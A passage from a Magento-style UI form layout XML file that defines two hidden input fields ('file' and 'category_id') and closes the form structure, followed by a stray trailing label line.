                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">file</item>
                            <item name="sortOrder" xsi:type="string">997</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
                <field name="category_id">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">number</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">category_id</item>
                            <item name="sortOrder" xsi:type="string">997</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
            </container>
        </container>
        <!-- end Dynamic rows -->
    </fieldset>
</form>

Spamworldpro Mini